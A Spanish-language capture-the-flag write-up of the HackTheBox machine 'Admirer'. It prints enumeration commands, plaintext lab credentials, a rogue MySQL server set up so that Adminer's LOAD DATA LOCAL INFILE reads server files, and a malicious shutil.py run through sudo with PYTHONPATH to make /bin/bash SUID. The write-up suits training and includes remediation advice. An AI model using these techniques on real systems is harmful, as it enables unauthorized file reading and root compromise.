HTB - Admirer
HTB - Admirer
Resumen Ejecutivo
Se realizó un compromiso exitoso contra la máquina Admirer de HackTheBox, un sistema Linux que expone los servicios FTP (21), SSH (22) y HTTP (80).
El vector de entrada fue la enumeración web que reveló un archivo robots.txt con una ruta /admin-dir. El fuzzing de este directorio expuso archivos contacts.txt y credentials.txt con credenciales en texto plano para cuentas de correo interno, FTP y WordPress.
Con las credenciales de FTP se descargaron archivos que permitieron continuar la enumeración. Posteriormente, se descubrió una instancia de Adminer (cliente MySQL web) en /utility-scripts/adminer.php, que fue explotada para leer archivos del sistema mediante LOAD DATA LOCAL INFILE, obteniendo credenciales de la base de datos y del usuario waldo.
El acceso SSH con las credenciales de waldo permitió ingresar al sistema. La escalada de privilegios se logró mediante path hijacking de una librería de Python (shutil) aprovechando que el script /opt/scripts/admin_tasks.sh se ejecutaba con SETENV y buscaba módulos en el directorio actual.
Riesgos Identificados
| Riesgo | Impacto | Probabilidad | Severidad |
|---|---|---|---|
robots.txt exponiendo rutas sensibles | Medio | Confirmado | 🟠 MEDIO |
Archivos .txt con credenciales en texto plano | Crítico | Confirmado | 🔴 CRÍTICO |
| Adminer expuesto sin autenticación | Alto | Confirmado | 🟠 ALTO |
MySQL con LOAD DATA LOCAL INFILE habilitado | Alto | Confirmado | 🟠 ALTO |
Script Python ejecutándose con SETENV sin ruta absoluta | Crítico | Confirmado | 🔴 CRÍTICO |
Plan de Remediación
- Inmediato: Eliminar archivos
credentials.txtycontacts.txtdel servidor web. - Inmediato: Rotar todas las contraseñas expuestas (FTP, MySQL, WordPress, usuario
waldo). - Corto plazo: Restringir acceso a
adminer.phppor IP o eliminar si no es necesario. - Mediano plazo: Deshabilitar
LOAD DATA LOCAL INFILEen MySQL si no se requiere. - Largo plazo: Revisar scripts con privilegios; usar rutas absolutas para módulos Python.
Machine Info
| Clave | Valor |
|---|---|
| Nombre | Admirer |
| IP | 10.129.229.101 |
| OS | Linux (Debian 10+deb9u7) |
| Dominio | admirer.htb (inferido por correos) |
| Skills | Web Enum, Fuzzing, Credential Discovery, MySQL Injection/Reading, PATH/Python Hijacking |
| Fecha | 2026-05-11 |
Reconocimiento (Reconnaissance)
Target Scoping
- IP Objetivo:
10.129.229.101 - Hostname Detectado:
admirer(por el título de la web) - Sistema: Debian 10+deb9u7
📡 Escaneo de Puertos
Escaneo Inicial (Full Port Scan)
1
2
3
4
# Escaneo rápido de todos los puertos TCP
sudo nmap -p- --open -sS --min-rate=2000 -n -Pn -v $target -oN allServices
cat allPorts | awk '{print $1}' FS="/" | grep "^[0-9]" | tr '\n' ','
Resultado del escaneo:
1
2
3
4
5
6
7
8
9
10
11
12
13
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
| 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Admirer
|_http-server-header: Apache/2.4.25 (Debian)
| http-robots.txt: 1 disallowed entry
|_/admin-dir
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Escaneo detallado de servicios
1
nmap -p21,22,80 -sCV -v -Pn $target -oN detailedServices
Servicios Identificados
| Puerto | Servicio | Versión | Notas |
|---|---|---|---|
| 21/tcp | FTP | vsftpd 3.0.3 | Posible acceso anónimo o con credenciales |
| 22/tcp | SSH | OpenSSH 7.4p1 | Posible acceso si se obtienen credenciales |
| 80/tcp | HTTP | Apache 2.4.25 | Título “Admirer”, robots.txt con /admin-dir |
Observación: El archivo
robots.txtrevela la ruta/admin-dir, lo que amplía la superficie de ataque.
Enumeración de subdirectorios (Fuzzing)
Fuzzing inicial
Se realizó fuzzing sobre la ruta /admin-dir revelada por robots.txt:
1
2
3
4
5
6
7
8
9
10
11
12
# Gobuster con extensiones txt y php
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x txt,php -u http://10.129.229.101/admin-dir -t 50
# Ffuf para directorios dentro de /admin-dir
ffuf -u http://10.129.229.101/admin-dir/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-fc 404
# Ffuf para directorios en la raíz
ffuf -u http://10.129.229.101/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-fc 404
Recursos críticos encontrados
1
2
contacts.txt (Status: 200) [Size: 350]
credentials.txt (Status: 200) [Size: 136]
Credenciales expuestas
credentials.txt contenido:
1
2
3
4
5
6
7
8
9
10
11
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P
[FTP account]
ftpuser
%n?4Wz}R$tTF7
[Wordpress account]
admin
w0rdpr3ss01!
contacts.txt contenido:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb
##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb
# Amy
Email: a.bialik@admirer.htb
# Leonard
Email: l.galecki@admirer.htb
#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb
# Bernadette
Email: b.rauch@admirer.htb
Conclusión: Se obtuvieron credenciales para FTP, WordPress y un usuario de correo. El dominio
admirer.htbse infiere de los correos electrónicos.
Enumeración FTP
Con las credenciales obtenidas (ftpuser:%n?4Wz}R$tTF7), se accedió al servicio FTP:
1
2
3
4
5
ftp 'ftpuser'@10.129.229.101
# Password: %n?4Wz}R$tTF7
ftp> dir
ftp> get all
Se descargaron archivos del servidor FTP para su análisis posterior.
Enumeración adicional con fuzzing
Se realizó un nuevo fuzzing excluyendo códigos de estado 403 y 404 para descubrir rutas ocultas:
1
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x txt,php -u http://$target/admin-dir -t 50 --exclude-length 403,404
Recurso crítico encontrado:
1
http://10.129.229.101/utility-scripts/adminer.php
Adminer es un cliente MySQL web (similar a phpMyAdmin). Su exposición sin autenticación permite conectarse a bases de datos.
Explotación de Adminer + MySQL
Configuración de MySQL en el atacante
Para explotar Adminer, se necesita un servidor MySQL accesible desde la víctima. Se configuró MariaDB en la máquina atacante:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# Iniciar MariaDB
sudo systemctl start mariadb
sudo mysql -uroot
# Ver bases de datos existentes
SHOW DATABASES;
# Crear base de datos para la máquina Admirer
CREATE DATABASE admirer_db;
# Crear usuario con acceso desde la IP de la víctima
CREATE USER 'nyx'@'10.129.229.101' IDENTIFIED BY 'nyx123';
# Dar privilegios
GRANT ALL PRIVILEGES ON admirer_db.* TO 'nyx'@'10.129.229.101';
# Aplicar cambios
FLUSH PRIVILEGES;
# Salir
EXIT;
Configurar MySQL para escuchar en todas las interfaces
Editar el archivo de configuración:
1
2
3
4
5
6
7
sudo nano /etc/mysql/mariadb.conf.d/50-server.cnf
# Cambiar bind-address a:
bind-address = 0.0.0.0
# Reiniciar servicio
sudo systemctl restart mariadb
Conexión desde Adminer
Desde http://10.129.229.101/utility-scripts/adminer.php:
- Servidor: IP de la máquina atacante
- Usuario: nyx
- Contraseña: nyx123
- Base de datos: admirer_db
Lectura de archivos del sistema
Una vez conectado, se utilizó LOAD DATA LOCAL INFILE para leer archivos del servidor web:
1
LOAD DATA LOCAL INFILE '/var/www/html/index.php' INTO TABLE demo FIELDS TERMINATED BY "\n";
Credenciales obtenidas del archivo:
1
2
3
4
$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";
Contraseña del usuario
waldo:&<h5b~yK3F#{PaPB&dA}{H>
Acceso al sistema
Las credenciales obtenidas funcionaron para acceso SSH:
1
2
ssh waldo@10.129.229.101
Password: &<h5b~yK3F#{PaPB&dA}{H>
Una vez dentro, se enumeraron privilegios del usuario:
1
2
3
4
5
6
7
waldo@admirer:~$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
Observación: El usuario
waldopuede ejecutar/opt/scripts/admin_tasks.shcon SETENV, lo que permite modificar variables de entorno antes de ejecutar el script.
Escalada de privilegios
Análisis del script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh
# (contenido del script)
waldo@admirer:~$ cat /opt/scripts/backup.py
#!/usr/bin/python3
from shutil import make_archive
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src)
El script admin_tasks.sh ejecuta backup.py, que importa la librería shutil.
Vulnerabilidad: Path Hijacking de Python
Python busca módulos en el directorio actual antes que en las rutas del sistema. Si se puede crear un shutil.py malicioso en un directorio controlado por waldo, y luego modificar PYTHONPATH para que apunte a ese directorio, se puede ejecutar código arbitrario con los privilegios del script (que se ejecuta con sudo).
Explotación
1
2
3
4
5
# Crear directorio temporal
cd /tmp
# Crear shutil.py malicioso
nano shutil.py
Contenido de shutil.py:
1
2
import os
os.system("chmod u+s /bin/bash")
1
2
# Ejecutar el script con PYTHONPATH apuntando a /tmp
sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh
Verificación de escalada
1
2
3
4
5
6
7
8
9
# Verificar que /bin/bash tiene SUID
ls -la /bin/bash
# Ejecutar bash con privilegios
/bin/bash -p
# Confirmar usuario
whoami
# root
Flags
1
2
3
4
5
6
7
# User flag
waldo@admirer:~$ cat /home/waldo/user.txt
[Bloqueado]
# Root flag
root@admirer:~# cat /root/root.txt
[Bloqueado]
Herramientas utilizadas
| Herramienta | Uso |
|---|---|
nmap | Escaneo de puertos y servicios |
gobuster | Fuzzing de directorios web |
ffuf | Fuzzing de directorios web |
ftp | Conexión al servicio FTP |
Adminer | Cliente MySQL web |
MySQL/MariaDB | Servidor de base de datos del atacante |
ssh | Acceso remoto al sistema |
Python | Path hijacking para escalada |
Referencias
Lecciones aprendidas
robots.txtno debe contener rutas sensibles → un atacante las usará como punto de partida.- Nunca guardar credenciales en archivos de texto dentro del servidor web → son fácilmente enumerables.
- Adminer/phpMyAdmin expuestos sin autenticación son una puerta abierta → restringir por IP o eliminar.
- El privilegio
SETENVen sudo es peligroso → permite modificarPYTHONPATH,PATH,LD_PRELOAD, etc. - Los scripts que ejecutan código Python con privilegios deben usar rutas absolutas para evitar hijacking de librerías.

